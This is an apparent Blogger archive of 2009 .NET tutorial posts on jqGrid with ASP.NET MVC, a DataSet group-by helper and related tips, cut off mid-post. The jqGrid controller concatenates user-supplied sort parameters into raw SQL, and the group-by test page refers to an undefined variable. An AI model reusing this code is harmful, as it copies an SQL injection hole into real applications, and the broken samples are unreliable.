text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 123px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj43_RmGd_AurUsNcMDizB_BdrgxhMUBweggaj6WNqJuUscKxF5IrYvhm6HuNO8fz2cTRhVj7obLU4EbLqOikdILK-YBG6fLLwipbQBE30EGnOI7dzf0GR1NZYQeP1k5U7CNqbrVVTcgaI/s320/MVC+JQGrid.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5352571606853255298" /></a><br />I am not going to cover the basics of MVC in this article, for which you can refer to other blogs such as <a href="http://weblogs.asp.net/scottgu/archive/2009/04/28/free-asp-net-mvc-nerddinner-tutorial-now-in-html.aspx">this one</a>.<br /><br />These are the features i have implemented in this sample, <br /><ul><br /> <li>Themes</li><br /> <li>Refresh Grid</li><br /> <li>Server side Paging</li><br /> <li>Sorting</li><br /> <li>JSON based</li><br /></ul><br />I will cover other features of JQGrid in my future articles.<br /><br />Here are the steps to get started,<br /><br />1. Download JQGrid from <a href="http://www.trirand.com/blog/?page_id=6">here</a><br /><br />2. Create an MVC Application using the Visual Studio 2008 template( if you want a detailed explanation for creating an MVC application VS Template refer <a href="http://weblogs.asp.net/scottgu/archive/2009/04/01/asp-net-mvc-1-0.aspx">here</a>).<br /><br />3. Now move the downloaded JQGrid files into the <span style="font-weight:bold;"><span style="font-style:italic;"><project>/scripts</span></span> folders.<br /><br />4. Usually with MVC application people tend to put all the themes under Content folder, if you do that here you will have to modify the js files for paging button's images.So i wouldn't recommend moving themes folder.<br /><br />4. Open the Site.Master inside <span style="font-weight:bold;"><span style="font-style:italic;"><project>/Shared/Site.Master</span></span> and add links to the following files,<br />../../Scripts/themes/steel/grid.css<br />../../Scripts/themes/jqModal.css<br />../../Scripts/jquery.jqGrid.js<br />../../Scripts/js/jqModal.js<br />../../Scripts/js/jqDnR.js<br /><br />5. If you don't like steel themes there 4 other themes( basic,coffee,green and sand) available inside themes folder.<br /><br />6. Now you site.master will look similar to this.<br />
<pre name="code" class="brush:html"><br /><%@ Master Language="C#" Inherits="System.Web.Mvc.ViewMasterPage" %><br /><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><br /><html xmlns="http://www.w3.org/1999/xhtml"><br /><head runat="server"><br /> <title><asp:ContentPlaceHolder ID="TitleContent" runat="server" /></title><br /> <link href="../../Content/Site.css" rel="stylesheet" type="text/css" /><br /> <script src="/Scripts/jquery-1.3.2.js" type="text/javascript"></script> <br /> <script src="../../Scripts/jquery-1.3.2.min.js" type="text/javascript"></script><br /> <link rel="stylesheet" type="text/css" href="../../Scripts/themes/steel/grid.css" title="steel"<br /> media="screen" /><br /> <link href="../../Scripts/themes/jqModal.css" rel="stylesheet" type="text/css" /><br /> <script src="../../Scripts/jquery.jqGrid.js" type="text/javascript"></script><br /> <script src="../../Scripts/js/jqModal.js" type="text/javascript"></script><br /> <script src="../../Scripts/js/jqDnR.js" type="text/javascript"></script><br /> <br /> <asp:ContentPlaceHolder ID="HeadContent" runat="server" /> <br /></head><br /><body><br /> <div class="page"><br /> <div id="header"><br /> <div id="title"><br /> <h1>Sample from arahuman.blogspot.com</h1><br /> </div><br /> <div id="logindisplay"><br /> <% Html.RenderPartial("LogOnUserControl"); %><br /> </div> <br /> <div id="menucontainer"><br /> <ul id="menu"> <br /> <li><%= Html.ActionLink("Home", "Index", "Home")%></li><br /> <li><%= Html.ActionLink("About", "About", "Home")%></li><br /> </ul><br /> </div><br /> </div><br /> <div id="main"><br /> <asp:ContentPlaceHolder ID="MainContent" runat="server" /><br /> <div id="footer"><br /> </div><br /> </div><br /> </div><br /></body><br /></html><br /></pre><br /><br />7. Create a folder named Helper under the <span style="font-weight:bold;"><span style="font-style:italic;"><project>/Helper</span></span> folder and add the following Helper method to convert a Datatable into the JSON format. <br />
<pre name="code" class="brush:csharp"><br />using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using System.Web;<br />using System.Data;<br />using Newtonsoft.Json;<br />using System.Text;<br />using System.IO;<br /><br />namespace JQGridMVCDemo.Helper {<br /> public class JsonHelper {<br /> public static string JsonForJqgrid(DataTable dt, int pageSize, int totalRecords,int page) {<br /> int totalPages = (int)Math.Ceiling((float)totalRecords / (float)pageSize);<br /> StringBuilder jsonBuilder = new StringBuilder();<br /> jsonBuilder.Append("{");<br /> jsonBuilder.Append("\"total\":" + totalPages + ",\"page\":" + page + ",\"records\":" + (totalRecords) + ",\"rows\"");<br /> jsonBuilder.Append(":[");<br /> for (int i = 0; i < dt.Rows.Count; i++) {<br /> jsonBuilder.Append("{\"i\":"+ (i) +",\"cell\":[");<br /> for (int j = 0; j < dt.Columns.Count; j++) {<br /> jsonBuilder.Append("\"");<br /> jsonBuilder.Append(dt.Rows[i][j].ToString());<br /> jsonBuilder.Append("\",");<br /> }<br /> jsonBuilder.Remove(jsonBuilder.Length - 1, 1);<br /> jsonBuilder.Append("]},");<br /> }<br /> jsonBuilder.Remove(jsonBuilder.Length - 1, 1);<br /> jsonBuilder.Append("]");<br /> jsonBuilder.Append("}");<br /> return jsonBuilder.ToString();<br /> }<br /> }<br />}<br /></pre><br /><br />8. Now open the index page under <span style="font-weight:bold;"><span style="font-style:italic;"><project>/SViews/Home/Index.aspx</span></span> and add the following code,<br />
<pre name="code" class="brush:html"><br /><%@ Page Language="C#" MasterPageFile="~/Views/Shared/Site.Master" Inherits="System.Web.Mvc.ViewPage" %><br /><asp:Content ID="indexTitle" ContentPlaceHolderID="TitleContent" runat="server"><br /> Home Page<br /></asp:Content><br /><asp:Content ID="indexContent" ContentPlaceHolderID="HeadContent" runat="server"><br /> <script type="text/javascript"><br /> jQuery(document).ready(function() {<br /> jQuery("#list").jqGrid({<br /> url: '/Home/GetGridData/',<br /> datatype: 'json',<br /> mtype: 'GET',<br /> colNames: ['Customer ID', 'Contact Name', 'Address', 'City', 'Postal Code'],<br /> colModel: [<br /> { name: 'CustomerID', index: 'CustomerID', width: 100, align: 'left' },<br /> { name: 'ContactName', index: 'ContactName', width: 150, align: 'left' },<br /> { name: 'Address', index: 'Address', width: 300, align: 'left' },<br /> { name: 'City', index: 'City', width: 150, align: 'left' },<br /> { name: 'PostalCode', index: 'PostalCode', width: 100, align: 'left' }<br /> ],<br /> pager: jQuery('#pager'),<br /> rowNum: 10,<br /> rowList: [5, 10, 20, 50],<br /> sortname: 'CustomerID',<br /> sortorder: "asc",<br /> viewrecords: true,<br /> imgpath: '/scripts/themes/steel/images',<br /> caption: 'Northwind Customer Information'<br /> }).navGrid(pager, { edit: false, add: false, del: false, refresh: true, search: false });<br /> });<br /> </script><br /><br /></asp:Content><br /><asp:Content ID="Content1" ContentPlaceHolderID="MainContent" runat="server"><br /> <h2><br /> Customers List</h2><br /> <table id="list" class="scroll" cellpadding="0" cellspacing="0" width="100%"><br /> </table><br /> <div id="pager" class="scroll" style="text-align: center;"><br /> </div><br /></asp:Content><br /></pre><br /><br />the id (#list) links the html table with the jquery to inject the grid ui's code at runtime.<br />it makes an ajax calls using the <span style="font-weight:bold;"><span style="font-style:italic;">url(/Home/GetGridData/)</span></span> provided.<br />datatype: json refers to the output from the above call returns the JSON type results.<br /><br />9. Now open the home controller page to add the GetGridDataMethod under <span style="font-weight:bold;"><span style="font-style:italic;"><project>/Controller/HomeController.cs</span></span>. Add the following code to it.<br /><br /><pre name="code" class="brush:csharp"><br />using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using System.Web;<br />using System.Web.Mvc;<br />using System.Data.SqlClient;<br />using System.Configuration;<br />using System.Data;<br />using JQGridMVCDemo.Helper;<br /><br />namespace MvcApplication1.Controllers {<br /> [HandleError]<br /> public class HomeController : Controller {<br /> public ActionResult Index() {<br /> ViewData["Message"] = "Welcome to ASP.NET MVC!";<br /> return View();<br /> }<br /><br /> public ActionResult About() {<br /> return View();<br /> }<br /><br /> public ActionResult GetGridData(string sidx, string sord, int page, int rows) {<br /> return Content(JsonHelper.JsonForJqgrid(GetDataTable(sidx,sord,page,rows), rows, GetTotalCount(), page), "application/json");<br /> }<br /><br /> public DataTable GetDataTable(string sidx, string sord, int page, int pageSize) {<br /> int startIndex = (page-1) * pageSize;<br /> int endIndex = page * pageSize;<br /> string sql = @"WITH PAGED_CUSTOMERS AS<br /> (<br /> SELECT CustomerID, ContactName, Address, City, PostalCode,<br /> ROW_NUMBER() OVER (ORDER BY " + sidx + @" " + sord + @") AS RowNumber<br /> FROM CUSTOMERS<br /> )<br /> SELECT CustomerID, ContactName, Address, City, PostalCode<br /> FROM PAGED_CUSTOMERS<br /> WHERE RowNumber BETWEEN " + startIndex + @" AND " + endIndex + @";";<br /> <br /> DataTable dt = new DataTable();<br /> SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["mainConnection"].ConnectionString);<br /> SqlDataAdapter adap = new SqlDataAdapter(sql,conn);<br /> var rows=adap.Fill(dt);<br /> return dt;<br /> }<br /><br /> public int GetTotalCount() {<br /> string sql = @"SELECT COUNT(*) FROM Customers";<br /> SqlConnection conn=null;<br /> try {<br /> conn= new SqlConnection(ConfigurationManager.ConnectionStrings["mainConnection"].ConnectionString);<br /> SqlCommand comm = new SqlCommand(sql, conn);<br /> conn.Open();<br /> return (int)comm.ExecuteScalar();<br /> } catch {<br /> } finally {<br /> try {<br /> if (ConnectionState.Closed != conn.State) {<br /> conn.Close();<br /> }<br /> }catch {<br /> }<br /> }<br /> return -1;<br /> }<br /> }<br />}<br /></pre><br /><br /><br />I have declared four paramters here which will be passed by the JQuery. To help us understand better i have named it same like the JGrid where sidx refers to Sort Index name, sord refers to Sort Direction, page refers to page being invoked and rows refers to rows per page.<br /><br />That's it. You can download the fully functional source code <a href="http://arahuman.googlepages.com/JQGridMVCDemo.zip">here</a>. Enjoy and leave me a comment if you like it.Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com16tag:blogger.com,1999:blog-428623601829508772.post-17648982121655538522009-04-14T07:30:00.000-07:002009-04-14T07:40:37.401-07:00Linq Provider for OracleFor one of my .NET project i was planning to use Linq but my database was Oracle. Microsoft Linq only supports MS-Sqlserver and Access dbs. Then i found an Open source Linq provider for Oracle. Here is the link..<br /><br /><a href="http://code2code.net/DB_Linq/">DB_Linq(Open Source)</a><br /><br />I have also come across another commercial Linq provider for Oracle, which support Oracle 9 and above. Here is the link <br /><br /><a href="http://www.mindscape.co.nz/products/LightSpeed/">Mindscape's LightSpeed</a><br /><br />Best of all, you can use Visual Studio 2008 to design your model like the one provided by Microsoft. They also have free express edition using which you can generate upto 8 classes.Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-16357001085173535632009-04-11T13:02:00.000-07:002012-03-11T17:50:36.032-07:00Grouping Records in DataTable or DataSet.I was working on a project where i had a requirement to group records on a dataset. The query i was using was resource intensive and i don't want to run the same query multiple times, instead i can retrieve all rows at once and then do the grouping at the datatable level. But out of the box DataSet or DataTable or Dataview don't have any way to do group by. But after Googleing i found a DataSet helper method from Microsoft which sound promising for my requirement. <br /><br />The only catch was it was working only with String column and it was not grouping for numeric column and i fixed that. <br /><br />Here is the microsoft link.<br /><a href="http://support.microsoft.com/kb/326145">Implement a DataSet GROUP BY Helper Class in Visual C# .NET</a><br /><br />Here is the Dataset Helper class:<br /><span id="fullpost"><br /><pre name="code" class="brush:csharp"><br />using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using System.Web;<br />using System.Data;<br /><br />namespace DataSetHelper<br />{<br /> /// <summary><br /> /// Summary description for DataSetHelper<br /> /// </summary><br /> public class DataSetHelper<br /> {<br /> public DataSet ds;<br /> private System.Collections.ArrayList m_FieldInfo; private string m_FieldList;<br /> private System.Collections.ArrayList GroupByFieldInfo; private string GroupByFieldList;<br /><br /> public DataSetHelper(ref DataSet DataSet)<br /> {<br /> ds = DataSet;<br /> }<br /><br /> public DataSetHelper()<br /> {<br /> ds = null;<br /> }<br /><br /> private void ParseFieldList(string FieldList, bool AllowRelation)<br /> {<br /> /*<br /> * This code parses FieldList into FieldInfo objects and then <br /> * adds them to the m_FieldInfo private member<br /> * <br /> * FieldList systax: [relationname.]fieldname[ alias], ...<br /> */<br /> if (m_FieldList == FieldList) return;<br /> m_FieldInfo = new System.Collections.ArrayList();<br /> m_FieldList = FieldList;<br /> FieldInfo Field; string[] FieldParts; string[] Fields = FieldList.Split(',');<br /> int i;<br /> for (i = 0; i <= Fields.Length - 1; i++)<br /> {<br /> Field = new FieldInfo();<br /> //parse FieldAlias<br /> FieldParts = Fields[i].Trim().Split(' ');<br /> switch (FieldParts.Length)<br /> {<br /> case 1:<br /> //to be set at the end of the loop<br /> break;<br /> case 2:<br /> Field.FieldAlias = FieldParts[1];<br /> break;<br /> default:<br /> throw new Exception("Too many spaces in field definition: '" + Fields[i] + "'.");<br /> }<br /> //parse FieldName and RelationName<br /> FieldParts = FieldParts[0].Split('.');<br /> switch (FieldParts.Length)<br /> {<br /> case 1:<br /> Field.FieldName = FieldParts[0];<br /> break;<br /> case 2:<br /> if (AllowRelation == false)<br /> throw new Exception("Relation specifiers not permitted in field list: '" + Fields[i] + "'.");<br /> Field.RelationName = FieldParts[0].Trim();<br /> Field.FieldName = FieldParts[1].Trim();<br /> break;<br /> default:<br /> throw new Exception("Invalid field definition: " + Fields[i] + "'.");<br /> }<br /> if (Field.FieldAlias == null)<br /> Field.FieldAlias = Field.FieldName;<br /> m_FieldInfo.Add(Field);<br /> }<br /> }<br /><br /> private void ParseGroupByFieldList(string FieldList)<br /> {<br /> /*<br /> * Parses FieldList into FieldInfo objects and adds them to the GroupByFieldInfo private member<br /> * <br /> * FieldList syntax: fieldname[ alias]|operatorname(fieldname)[ alias],...<br /> * <br /> * Supported Operators: count,sum,max,min,first,last<br /> */<br /> if (GroupByFieldList == FieldList) return;<br /> GroupByFieldInfo = new System.Collections.ArrayList();<br /> FieldInfo Field; string[] FieldParts; string[] Fields = FieldList.Split(',');<br /> for (int i = 0; i <= Fields.Length - 1; i++)<br /> {<br /> Field = new FieldInfo();<br /> //Parse FieldAlias<br /> FieldParts = Fields[i].Trim().Split(' ');<br /> switch (FieldParts.Length)<br /> {<br /> case 1:<br /> //to be set at the end of the loop<br /> break;<br /> case 2:<br /> Field.FieldAlias = FieldParts[1];<br /> break;<br /> default:<br /> throw new ArgumentException("Too many spaces in field definition: '" + Fields[i] + "'.");<br /> }<br /> //Parse FieldName and Aggregate<br /> FieldParts = FieldParts[0].Split('(');<br /> switch (FieldParts.Length)<br /> {<br /> case 1:<br /> Field.FieldName = FieldParts[0];<br /> break;<br /> case 2:<br /> Field.Aggregate = FieldParts[0].Trim().ToLower(); //we're doing a case-sensitive comparison later<br /> Field.FieldName = FieldParts[1].Trim(' ', ')');<br /> break;<br /> default:<br /> throw new ArgumentException("Invalid field definition: '" + Fields[i] + "'.");<br /> }<br /> if (Field.FieldAlias == null)<br /> {<br /> if (Field.Aggregate == null)<br /> Field.FieldAlias = Field.FieldName;<br /> else<br /> Field.FieldAlias = Field.Aggregate + "of" + Field.FieldName;<br /> }<br /> GroupByFieldInfo.Add(Field);<br /> }<br /> GroupByFieldList = FieldList;<br /> }<br /><br /> public DataTable CreateGroupByTable(string TableName, DataTable SourceTable, string FieldList)<br /> {<br /> /*<br /> * Creates a table based on aggregates of fields of another table<br /> * <br /> * RowFilter affects rows before GroupBy operation. No "Having" support<br /> * though this can be emulated by subsequent filtering of the table that results<br /> * <br /> * FieldList syntax: fieldname[ alias]|aggregatefunction(fieldname)[ alias], ...<br /> */<br /> if (FieldList == null)<br /> {<br /> throw new ArgumentException("You must specify at least one field in the field list.");<br /> //return CreateTable(TableName, SourceTable);<br /> }<br /> else<br /> {<br /> DataTable dt = new DataTable(TableName);<br /> ParseGroupByFieldList(FieldList);<br /> foreach (FieldInfo Field in GroupByFieldInfo)<br /> {<br /> DataColumn dc = SourceTable.Columns[Field.FieldName];<br /> if (Field.Aggregate == null)<br /> dt.Columns.Add(Field.FieldAlias, dc.DataType, dc.Expression);<br /> else<br /> dt.Columns.Add(Field.FieldAlias, dc.DataType);<br /> }<br /> if (ds != null)<br /> ds.Tables.Add(dt);<br /> return dt;<br /> }<br /> }<br /><br /> public void InsertGroupByInto(DataTable DestTable, DataTable SourceTable, string FieldList,<br /> string RowFilter, string GroupBy)<br /> {<br /> /*<br /> * Copies the selected rows and columns from SourceTable and inserts them into DestTable<br /> * FieldList has same format as CreateGroupByTable<br /> */<br /> if (FieldList == null)<br /> throw new ArgumentException("You must specify at least one field in the field list.");<br /> ParseGroupByFieldList(FieldList); //parse field list<br /> ParseFieldList(GroupBy, false); //parse field names to Group By into an arraylist<br /> DataRow[] Rows = SourceTable.Select(RowFilter, GroupBy);<br /> DataRow LastSourceRow = null, DestRow = null; bool SameRow; int RowCount = 0;<br /> foreach (DataRow SourceRow in Rows)<br /> {<br /> SameRow = false;<br /> if (LastSourceRow != null)<br /> {<br /> SameRow = true;<br /> foreach (FieldInfo Field in m_FieldInfo)<br /> {<br /> if (!ColumnEqual(LastSourceRow[Field.FieldName], SourceRow[Field.FieldName]))<br /> {<br /> SameRow = false;<br /> break;<br /> }<br /> }<br /> if (!SameRow)<br /> DestTable.Rows.Add(DestRow);<br /> }<br /> if (!SameRow)<br /> {<br /> DestRow = DestTable.NewRow();<br /> RowCount = 0;<br /> }<br /> RowCount += 1;<br /> foreach (FieldInfo Field in GroupByFieldInfo)<br /> {<br /> switch (Field.Aggregate) //this test is case-sensitive<br /> {<br /> case null: //implicit last<br /> case "": //implicit last<br /> case "last":<br /> DestRow[Field.FieldAlias] = SourceRow[Field.FieldName];<br /> break;<br /> case "first":<br /> if (RowCount == 1)<br /> DestRow[Field.FieldAlias] = SourceRow[Field.FieldName];<br /> break;<br /> case "count":<br /> DestRow[Field.FieldAlias] = RowCount;<br /> break;<br /> case "sum":<br /> DestRow[Field.FieldAlias] = Add(DestRow[Field.FieldAlias], SourceRow[Field.FieldName]);<br /> break;<br /> case "max":<br /> DestRow[Field.FieldAlias] = Max(DestRow[Field.FieldAlias], SourceRow[Field.FieldName]);<br /> break;<br /> case "min":<br /> if (RowCount == 1)<br /> DestRow[Field.FieldAlias] = SourceRow[Field.FieldName];<br /> else<br /> DestRow[Field.FieldAlias] = Min(DestRow[Field.FieldAlias], SourceRow[Field.FieldName]);<br /> break;<br /> }<br /> }<br /> LastSourceRow = SourceRow;<br /> }<br /> if (DestRow != null)<br /> DestTable.Rows.Add(DestRow);<br /> }<br /><br /> private FieldInfo LocateFieldInfoByName(System.Collections.ArrayList FieldList, string Name)<br /> {<br /> //Looks up a FieldInfo record based on FieldName<br /> foreach (FieldInfo Field in FieldList)<br /> {<br /> if (Field.FieldName == Name)<br /> return Field;<br /> }<br /> return null;<br /> }<br /><br /> private bool ColumnEqual(object a, object b)<br /> {<br /> /*<br /> * Compares two values to see if they are equal. Also compares DBNULL.Value.<br /> * <br /> * Note: If your DataTable contains object fields, you must extend this<br /> * function to handle them in a meaningful way if you intend to group on them.<br /> */<br /> if ((a is DBNull) && (b is DBNull))<br /> return true; //both are null<br /> if ((a is DBNull) || (b is DBNull))<br /> return false; //only one is null<br /> return (a.Equals(b)); //value type standard comparison<br /> }<br /><br /> private object Min(object a, object b)<br /> {<br /> //Returns MIN of two values - DBNull is less than all others<br /> if ((a is DBNull) || (b is DBNull))<br /> return DBNull.Value;<br /> if (((IComparable)a).CompareTo(b) == -1)<br /> return a;<br /> else<br /> return b;<br /> }<br /><br /> private object Max(object a, object b)<br /> {<br /> //Returns Max of two values - DBNull is less than all others<br /> if (a is DBNull)<br /> return b;<br /> if (b is DBNull)<br /> return a;<br /> if (((IComparable)a).CompareTo(b) == 1)<br /> return a;<br /> else<br /> return b;<br /> }<br /><br /> private object Add(object a, object b)<br /> {<br /> //Adds two values - if one is DBNull, then returns the other<br /> if (a is DBNull)<br /> return b;<br /> if (b is DBNull)<br /> return a;<br /> return ((decimal)a + (decimal)b);<br /> }<br /><br /> public DataTable SelectGroupByInto(string TableName, DataTable SourceTable, string FieldList,<br /> string RowFilter, string GroupBy)<br /> {<br /> /*<br /> * Selects data from one DataTable to another and performs various aggregate functions<br /> * along the way. See InsertGroupByInto and ParseGroupByFieldList for supported aggregate functions.<br /> */<br /> DataTable dt = CreateGroupByTable(TableName, SourceTable, FieldList);<br /> InsertGroupByInto(dt, SourceTable, FieldList, RowFilter, GroupBy);<br /> return dt;<br /> }<br /><br /> private class FieldInfo<br /> {<br /> public string RelationName;<br /> public string FieldName; //source table field name<br /> public string FieldAlias; //destination table field name<br /> public string Aggregate;<br /> }<br /> }<br />}<br /></pre><br />Here is the sample page to test the above class,<br />Create a simple aspx page with 3 grid views and use the following code behind given below,<br /><br /><pre name="code" class="brush:csharp"><br />using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using System.Web;<br />using System.Web.UI;<br />using System.Web.UI.WebControls;<br />using System.Data;<br />using PrintDashboard;<br /><br />public partial class _Default : System.Web.UI.Page<br />{<br /> protected void Page_Load(object sender, EventArgs e)<br /> {<br /> DataSet ds = new DataSet();<br /> DataSetHelper dsHelper = new DataSetHelper(ref ds);<br />//Create the source table<br />DataTable dt = new DataTable("Orders");<br />dt.Columns.Add("EmployeeID", Type.GetType("System.String"));<br />dt.Columns.Add("OrderID", Type.GetType("System.Int32"));<br />dt.Columns.Add("Amount", Type.GetType("System.Decimal"));<br />dt.Rows.Add(new object[] {"Sam", 5, 25.00});<br />dt.Rows.Add(new object[] {"Tom", 7, 50.00});<br />dt.Rows.Add(new object[] {"Sue", 9, 11.00});<br />dt.Rows.Add(new object[] {"Tom", 12, 7.00});<br />dt.Rows.Add(new object[] {"Sam", 14, 512.00});<br />dt.Rows.Add(new object[] {"Sue", 15, 17.00});<br />dt.Rows.Add(new object[] {"Sue", 22, 2.50});<br />dt.Rows.Add(new object[] {"Tom", 24, 3.00});<br />dt.Rows.Add(new object[] {"Tom", 33, 78.75});<br />ds.Tables.Add(dt);<br /> this.GridView1.DataSource = ds;<br /> <br />dsHelper.CreateGroupByTable("OrderSummary", ds.Tables["Orders"], <br /> "EmployeeID,count(EmployeeID) Orders,Sum(Amount) OrderTotal,max(Amount) BestOrder,min(Amount) WorstOrder");<br /><br /><br />dsHelper.InsertGroupByInto(ds.Tables["OrderSummary"], ds.Tables["Orders"], <br /> "EmployeeID,count(EmployeeID) Orders,sum(Amount) OrderTotal,max(Amount) BestOrder,min(Amount) WorstOrder", <br /> "", "EmployeeID");<br /><br /><br /><br /> this.GridView2.DataSource= dt1;<br /> this.GridView2.DataBind();<br /> this.GridView1.DataBind();<br /> DataTable dt2;<br /> dt2 = dsHelper.SelectGroupByInto("OrderSummary2", ds.Tables["Orders"], <br /> "EmployeeID,count(EmployeeID) Orders,sum(Amount) OrderTotal,max(Amount) BestOrder,min(Amount) WorstOrder", <br /> "OrderID>10", "EmployeeID");<br /> this.GridView3.DataSource = dt2;<br /> this.GridView3.DataBind();<br /> }<br />}<br /><br /><br /></pre><br /></span>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com2tag:blogger.com,1999:blog-428623601829508772.post-31188720665945771922009-03-24T20:11:00.000-07:002009-03-25T07:13:10.345-07:00WPF(Windows Presentation Foundation) Introduction<a href="http://silverlight.net/showcase (silverlight showcase)"></a>If you are new to WPF(Window Presentation Foundation) you can use the following links to learn this new technology. The video link given below is not a tutorial but will highlight the features of this new technology.<br /><br /><a href="http://wm.microsoft.com/ms/expression/wpf/WPFMKT_FINAL.wmv">Windows Presentation Foundation features- Video</a><br /><br />You can use these other links to learn this new great technology.<br /><br /><a href="http://msdn.microsoft.com/en-us/library/aa480221.aspx">A Guided Tour of Windows Presentation Foundation</a><br /><br /><a href="http://msdn.microsoft.com/en-us/library/aa663364.aspx">Introducing Windows Presentation Foundation</a><br /><br /><a href="http://msdn.microsoft.com/en-us/library/aa480192.aspx">An Introduction to Windows Presentation Foundation</a><br /><br /><br />If you want learn the Silverlight Architecture you can use the following MSDN link to learn more.<br /><br /><a href="http://msdn.microsoft.com/en-us/library/bb404713(VS.95).aspx">Silverlight Architecture</a><br /><br />Use the following link to see of the silverlight samples.<br /><br /><a href="http://silverlight.net/showcase">Silverlight Samples</a><br /><br />Hope you will enjoy.Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-1639068293673034992009-03-13T18:36:00.001-07:002009-03-20T21:26:04.290-07:00'System.Web.Mvc.HtmlHelper' does not contain a definition for 'RenderPartial' and no extension method 'RenderPartial' acceptin<p>When i try to run a MVC Sample application from Web i was getting this "<strong><u>'System.Web.Mvc.HtmlHelper' does not contain a definition for 'RenderPartial' and no extension method 'RenderPartial' accepting a first argument of type 'System.Web.Mvc.HtmlHelper'</u></strong> could be found." error. </p> <p>After further research i found that i was running <strong>"MVC Preview Release"</strong> on my system, which does not support System.Web.Mvc.Html namespace. So i upgraded my MVC from my preview release to <strong>"MVC 1.0 RC2".</strong>  RC2 release can be downloaded from <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=ee4b2e97-8a72-449a-82d2-2f720d421031&displaylang=en" target="_blank">here</a>.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-35706977742493797852009-03-02T13:40:00.001-08:002009-03-20T21:26:21.167-07:00ADO.NET Entity FrameworkInterested in creating an N Layered application, then you might be interested in using ADO.NET's new Entity Framework. Its free. It basically creates you the Data Access Layer once you connect to your Database. Right now it supports only SQL server, but they have released a sample Framework for Oracle as well. If you want to learn more use the following links below. <p><a href="http://msdn.microsoft.com/en-us/library/bb386876.aspx" target="_blank">Getting started with Entity Framework</a></p> <p><a href="http://code.msdn.microsoft.com/EFOracleProvider" target="_blank">Sample Entity Framework Provider for Oracle</a></p> <p>Another interesting link i have come across in this title is</p> <p><a href="http://dotnetslackers.com/articles/ado_net/Managing-Entity-Framework-ObjectContext-lifespan-and-scope-in-n-layered-ASP-NET-applications.aspx" target="_blank">Managing Entity Framework ObjectContext lifespan and scope in n-layered ASP.NET applications</a></p> <p>Hope you will find this useful.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-59924035594665527172009-02-23T15:01:00.001-08:002009-03-20T21:27:48.046-07:00Error updating JScript IntelliSense: jquery-1.3-vsdoc.js: 'jQuery.support.htmlSerialize' is null or not an object @ 1416:4<p>Even after adding the IntelliSense file for JQuery, you might still get an error as below,</p> <p><strong>"Error updating JScript IntelliSense: jquery-1.3-vsdoc.js: 'jQuery.support.htmlSerialize' is null or not an object @ 1416:4"</strong></p> <p>Atleast in my case the reason was, i was using a JQuery-UI library and it was due to a conflict between the JQuery and JQuery-UI library. The first workaround i did was create an empty file for the Jquery-UI library with the extension -vsdoc.js or you can create your own intelliSense file.</p> <p>Hope this helps.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com7tag:blogger.com,1999:blog-428623601829508772.post-17626080094434650642009-02-23T13:59:00.001-08:002009-03-20T21:27:35.527-07:00"Error updating JScript IntelliSense: jquery.js: Object doesn't support this property or method" Intellisense error with JQuery and Visu<p>If you are using JQuery, you probably won't be getting any intellisense from Visual Studio 2008. But as part of ASP.NET MVC Microsoft started shipping JQuery. In order to make the Intellisense work follow the steps that i have tried,</p> <p>1. Install the SP1 patch for your Visual Studio 2008. You can download the patch for free from <a href="http://msdn.microsoft.com/en-us/vstudio/cc533448.aspx" target="_blank">here</a>.</p> <p>2. Download the install the patch that recognizes the -vsdoc.js intellisense files from <a href="http://code.msdn.microsoft.com/KB958502/Release/ProjectReleases.aspx?ReleaseId=1736" target="_blank">here</a>.</p> <p>3. Download the vsdoc.js files from <a href="http://docs.jquery.com/Downloading_jQuery#Download_jQuery" target="_blank">here</a> and drop it along with your Jquery-x.x.js files.</p> <p>4. To refresh the Intellisense from within our IDE you can use CTRL+SHIFT+J.</p> <p>Hope this helps.</p>Rahumanhttp://www.blogger.com/profile/01222479360415180681noreply@blogger.com0tag:blogger.com,1999:blog-428623601829508772.post-27600920202488823582009-02-12T21:17:00.001-08:002012-03-11T17:54:02.583-07:00ObjectDataSource - Selectcount method with custom parameters and custom paging.<p>On one of my project i was using ObjectDataSource with several parameters. I had a business logic layer with a method (For eg. GetProducts) which returns the actual recordset to be displayed also i had some logic to calculate the total records within the same method and i was populating a private member. I had a separate method to return the count from the private member and this method takes no parameter.</p> <br />For e.g.<br /><pre name="code" class="brush:csharp"><br />public class ProductLogic <br />{<br /> private int rowCount;<br /> public IList<Product>GetProducts(string filter, int maxRows, int startIndex) <br /> {<br /> ...<br /> ... <br /> rowCount = 'logic to populate the count<br /> }<br /> public int GetProductCount() <br /> {<br /> return rowCount;<br /> }<br />}<br /></pre> <br /><span id="fullpost"><br /><p>My ObjectDataSource declaration is...</p><br /><br /><pre name="code" class="brush:csharp"><br /><asp:ObjectDataSource ID="ObjectDataSource1" runat="server" <br /><br /> SelectMethod="GetProducts"<br /> TypeName="ProductLogic" SelectCountMethod="GetProductCount" EnablePaging="true"<br /> OnSelecting="Obds_Selecting"<br /> SortParameterName="sortExpression" <br /> ><br /></pre><br /><br />The problem i was facing was whenever objectdatasource makes a call to the "GetProductCount" method it was expecting me to pass all the parameters like "GetProducts". I did a Google Search but i couldn't find any information. So I did the following working around,<br /><br />There is a ExecutingSelectCount property you can use to decide whether the ObjectDataSource is getting the list or the count. So using this property whenever it makes call to your count method just clear out your inputparameter collection and you should be good to go. So my CodeBehind looks like this...<br /><br /><pre name="code" class="brush:csharp"><br 